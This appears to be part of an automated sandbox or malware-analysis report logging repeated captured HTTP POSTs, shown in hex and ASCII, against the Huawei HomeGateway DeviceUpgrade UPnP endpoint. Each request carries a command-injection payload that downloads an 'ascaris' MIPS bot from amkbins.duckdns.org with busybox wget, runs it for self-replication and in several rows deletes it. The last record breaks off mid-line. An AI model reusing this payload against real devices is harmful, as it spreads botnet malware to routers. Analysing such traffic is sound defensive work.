| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
| Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade 